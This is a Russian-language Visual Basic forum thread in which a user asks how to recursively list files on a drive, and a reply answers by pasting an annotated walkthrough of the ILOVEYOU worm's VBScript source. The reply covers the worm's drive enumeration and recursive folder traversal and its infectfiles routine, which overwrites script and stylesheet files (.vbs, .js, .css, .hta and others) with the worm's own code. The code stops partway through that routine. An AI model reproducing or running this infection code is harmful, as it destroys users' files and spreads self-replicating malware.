Visual Basic, .NET, ASP, VBScript
 

   
   
     

Форум - Общий форум

Страница: 1 |

 

  Вопрос: ПОМОГИТЕ ПЛИЗ!!!!! Добавлено: 04.11.03 00:23  

Автор вопроса:  tigrix | Web-сайт: f

Такая проблема: Мне нужно програмно прорыскать допустим диск, найти все файлы там. Проблема в том что я не пойму как искать, когда там куча папок, а в них ещё папки...

Ну что то типо поиска!

ПОМОГИТЕ ! Уже голова кипит!

Ответить

  Ответы Всего ответов: 1  

Номер ответа: 1
Автор ответа:
 AASoft



Вопросов: 86
Ответов: 920
 Профиль | | #1 Добавлено: 04.11.03 02:17

vot, primer virusa, a tam sam razvereshaya

 

P.S. on na vbScripte navayan

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Все предельно просто и не выходит за рамки того материала, который расположен на нашем ресурсе.

Во-первых, чтобы добраться до файлов сначала нужно определить, какими дисководами рапологает компьтер. Сделать это просто - используется объект FSO (Drive), что и было сделано филиппинцем....

----------------------------------------------------------------- 

'Застараховываем себя от непредвиденных ошибок
On Error Resume Next 

'Объявляем переменные
Dim d,dc,s, fso

'Создаем объект FSO
Set fso = CreateObject("Scripting.FileSystemObject")

'С помощью объект FSO получаем объект Drives
Set dc = fso.Drives

'И наконец, организуя цикл, просматриваем какие же дисководы имеет данный компьютер
For Each d in dc 

'Т.к. необходимы только фиксированные и сетевые дисководы ставим ограничение 2 и 3
If d.DriveType = 2 or d.DriveType=3 Then

'Вызываем подпрограмму просмотра папок
folderlist( d.path & "\")

end if 

Next 

------------------------------------------------------------------ 

Этот скрипт вы можете скопировать в любой текстовый редактор, добавить в соответствующее место MsgBox и присвоив ему расширение *.vbs , запустить его на исполнение. Через секунду вы будете знать (хотя знали это наверняка), какие дисководы существуют на вашем компьютере.  

Теперь дело за папками, ведь файлы находятся в папках (как правило). Чуть изменим вышеприведенный код и приведем его в тот вид, каким его создал филиппинец.  

On Error Resume Next

Dim fso

Set fso = CreateObject("Scripting.FileSystemObject") 

main() 

sub main() 

listadriv() 

end sub 

sub listadriv() 

On Error Resume Next

Dim d, dc, s 

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then

folderlist(d.path & "\")

end if

Next 

end sub

 

Как вы сразу зметили в цикле просмотра дисководов появился вызов новой подпрограммы - folderlist(d.path & "\"), а аргументом у него – путь к дисководу (С\:  и другие ...). Это означает, что выбрав певый же дисковод на вашем компьетере скрипт устремляется просматривать все папки находящиеся на нем. 

-----------------------------------------------

'Подпрограмма просмотра папок на дисководе
sub folderlist(folderspec) 

'Опять застараховываем себя от непредвиденных ошибок
On Error Resume Next 

'Объявляем переменные
dim f,f1,sf 

'Получаем объект Folder
set f = fso.GetFolder(folderspec) 

'Получаем объект SubFolders
set sf = f.SubFolders 

'И наконец, организуя цикл, просматриваем папки
for each f1 in sf 

'Как только находим первую папку, то сразу ее открываем, т.е. опять входим в подпрограмму
'и так до тех пор, пока не будет просмотренны все вложенные папки первой найденной....и так со всеми 'папками
folderlist(f1.path) 

next 

end sub 

------------------------------------------------------ 

Довольно просто, не правдали? Так запросто просматриваешь все свои каталоги.  

Ну вот, папки все, как говорится 'до донышка' просмотренны и теперь самое главное – файлы. Как и отмечалось выше - файлы находятся в папках, но не все, какая-то маленькая их часть может распологаться непосредственно и на дисководе, и в папках, которые в свою очередь содержат в себе еще папки. А по-сему в цикл просмотра папок ставится вызов еще одной подпрограммы, как ее назвал филиппинец – infectfiles() .  

sub folderlist(folderspec) 

On Error Resume Next 

dim f,f1,sf 

set f = fso.GetFolder(folderspec)

set sf = f.SubFolders 

for each f1 in sf 

infectfiles(f1.path)

folderlist(f1.path) 

next 

end sub 

Вот теперь начинается самое 'интересное'...... 

'Подпрограмма просмотра файлов и их заражения
sub infectfiles(folderspec) 

'Застараховываем себя от непредвиденных ошибок
On Error Resume Next 

'Объявляем переменные
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 

'Получаем объект Folders
set f = fso.GetFolder(folderspec) 

'Получаем объект File
set fc = f.Files 

'Oрганизовываем цикл, просматривая файлы, но...
for each f1 in fc 

'Получаем расширение файла
ext=fso.GetExtensionName(f1.path) 

'Переводим все буквы в нижний регистр (т.е. делаем строчными)
ext=lcase(ext) 

'Получаем имя файла
s=lcase(f1.name) 

'Осуществляем отбор по нужному разшерению
if (ext="vbs") or (ext="vbe") then 

'Открываем файл для записи – 2 – указывает на запись
set ap=fso.OpenTextFile(f1.path,2,true) 

'Записываем в него vbscopy, где в программе филиппинца это означает, что в файл записывается весь файл I LOVE YOU
ap.write vbscopy 

'Закрываем файл
ap.close 

            'Если расширение такое (какое указанно), то
            elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then 

            'следует такая же процедура, что и вверху
            set ap=fso.OpenTextFile(f1.path,2,true)
            ap.write vbscopy
            ap.close           

            'Определяем базовое имя
            bname=fso.GetBaseName(f1.path)           

            'Получаем существующий файл
            set cop=fso.GetFile(f1.path) 

     

Ответить

Страница: 1 |

Поиск по форуму



© Copyright 2002-2011 VBNet.RU | Пишите нам